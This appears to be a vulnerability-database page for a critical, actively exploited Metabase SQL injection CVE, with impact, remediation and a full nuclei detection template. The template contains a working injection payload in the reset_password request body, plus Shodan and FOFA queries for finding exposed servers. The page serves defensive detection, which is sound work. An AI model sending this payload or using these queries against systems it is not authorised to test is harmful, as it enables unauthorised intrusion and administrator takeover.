Browse / CVEs / CVE-2026-72898
CVE-2026-72898· metabase / metabase· CWE-89
Metabase - Unauthenticated SQL Injection
Exploited in the wild. Listed by CISA on 2026-08-11; known to be used by ransomware.
criticalseverity
10CVSS score
98.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.
Impact
Remote unauthenticated attackers can execute arbitrary SQL and gain administrator access to the Metabase instance.
Fix
Update to the latest version of Metabase.
How to confirm it
Send: GET /api/session/properties
Positive when: status_code == 200 and contains(content_type, "json") and contains(body, "\"version\"")
Send: POST /api/session/reset_password
Positive when: status_code == 400 and contains_all(body, "\"errors\"", "\"password\"") and !contains_any(body, "disallowed key", "unexpected key")Run it with nuclei: nuclei -id CVE-2026-72898 -u <target>
The full check
id: CVE-2026-72898
info:
name: Metabase - Unauthenticated SQL Injection
author: 0x_Akoko,pdteam
severity: critical
description: |
Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.
impact: |
Remote unauthenticated attackers can execute arbitrary SQL and gain administrator access to the Metabase instance.
remediation: |
Update to the latest version of Metabase.
reference:
- https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf
- https://securityonline.info/metabase-sql-injection-zero-day-exploited/
- https://nvd.nist.gov/vuln/detail/CVE-2026-72898
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-72898
epss-score: 0.98208
epss-percentile: 0.99915
cwe-id: CWE-89
metadata:
verified: true
max-request: 3
shodan-query: http.title:"Metabase"
fofa-query: title="Metabase"
product: metabase
vendor: metabase
tags: cve,cve2026,sqli,metabase,unauth,rce,kev,vkev
flow: |
http(1);
if (template["mbtag"]) {
var p = template["mbtag"].replace(/^v/, "").split(".");
var major = parseInt(p[0], 10);
var minor = parseInt(p[1], 10);
var patch = parseInt(p[2] || "0", 10);
var fixes = {58: 24, 59: 21, 60: 17, 61: 11, 62: 9, 63: 5};
if ((major === 0 || major === 1) && fixes[minor] && patch < fixes[minor]) {
http(2);
}
}
http:
- raw:
- |
GET /api/session/properties HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains(body, "\"version\"")'
condition: and
internal: true
extractors:
- type: json
name: mbtag
internal: true
json:
- ".version.tag"
- raw:
- |
POST /api/session/reset_password HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"token":"1_0000","password":"{{rand_text_alpha(6)}}Aa1!","user-id":{"select":["id"],"from":["core_user"],"where":["=","is_superuser",true],"limit":1}}
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'contains_all(body, "\"errors\"", "\"password\"")'
- '!contains_any(body, "disallowed key", "unexpected key")'
condition: andReferences
- https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf
- https://securityonline.info/metabase-sql-injection-zero-day-exploited/
- https://nvd.nist.gov/vuln/detail/CVE-2026-72898
Use this check only on systems you are authorised to test. Where the data comes from